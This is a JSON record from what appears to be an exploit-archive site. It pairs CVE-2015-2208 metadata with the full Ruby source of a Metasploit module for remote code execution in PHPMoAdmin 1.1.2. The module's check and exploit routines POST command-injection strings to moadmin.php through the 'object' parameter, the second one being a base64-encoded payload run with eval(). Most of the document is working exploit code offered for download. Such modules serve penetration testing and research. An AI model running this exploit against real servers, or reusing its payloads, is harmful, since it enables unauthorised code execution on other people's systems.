{"exploit":{"id":"MSF-multi--http--phpmoadmin_exec","name":"PHPMoAdmin 1.1.2 Remote Code Execution","description":"This module exploits an arbitrary PHP command execution vulnerability due to a dangerous use of eval() in PHPMoAdmin.","cves":["CVE-2015-2208"],"author":"Pichaya Morimoto pichaya, Ricardo Jorge Borges de Almeida","published":"2015-03-03","platform":"PHP","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/ab00b9e7e08b1fdc68bdba12de6db2aa4436815e/modules/exploits/multi/http/phpmoadmin_exec.rb","path":"modules/exploits/multi/http/phpmoadmin_exec.rb","revision":"ab00b9e7e08b1fdc68bdba12de6db2aa4436815e","filename":"phpmoadmin_exec.rb","vulnerabilities":[{"id":"CVE-2015-2208","state":"PUBLISHED","title":null,"titleSource":null,"description":"The saveObject function in moadmin.php in phpMoAdmin 1.1.2 allows remote attackers to execute arbitrary commands via shell metacharacters in the object parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-2208","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-2208"},"updatedAt":"2024-08-06T05:10:16.156Z","retrievedAt":"2026-11-27T01:39:19.131Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--phpmoadmin_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--phpmoadmin_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--phpmoadmin_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--phpmoadmin_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'PHPMoAdmin 1.1.2 Remote Code Execution',\n        'Description' => %q{\n          This module exploits an arbitrary PHP command execution vulnerability due to a\n          dangerous use of eval() in PHPMoAdmin.\n        },\n        'Author' => [\n          'Pichaya Morimoto pichaya[at]ieee.org', # Public PoC\n          'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2015-2208' ],\n          [ 'EDB', '36251' ],\n          [ 'URL', 'https://seclists.org/fulldisclosure/2015/Mar/19' ],\n          [ 'URL', 'https://seclists.org/oss-sec/2015/q1/743' ]\n        ],\n        'Privileged' => false,\n        'Platform' => 'php',\n        'Arch' => ARCH_PHP,\n        'Targets' => [\n          [ 'PHPMoAdmin', {} ],\n        ],\n        'DisclosureDate' => '2015-03-03',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, \"The URI path of the PHPMoAdmin page\", \"/\"])\n      ]\n    )\n  end\n\n  def check\n    testrun = Rex::Text::rand_text_alpha(10)\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri, 'moadmin.php'),\n      'method' => 'POST',\n      'vars_post' =>\n      {\n        'object'\t=> \"1;echo '#{testrun}';exit\",\n      }\n    })\n\n    if res and res.body.include?(testrun)\n      return Exploit::CheckCode::Vulnerable('The target is vulnerable')\n    end\n\n    Exploit::CheckCode::Safe('The target is not vulnerable')\n  end\n\n  def exploit\n    print_status(\"Executing payload...\")\n\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri, 'moadmin.php'),\n      'method' => 'POST',\n      'vars_post' =>\n      {\n        'object' => \"1;eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));exit\"\n      }\n    })\n  end\nend\n","sha256":"ddad30a9ee6c92a6be76d7330aaa975f770b1167f5f2803ee882d013a84402ab","bytes":2346,"fetchedAt":"2026-11-27T01:39:18.902Z","encoding":"utf-8 (display only; download retains original bytes)"}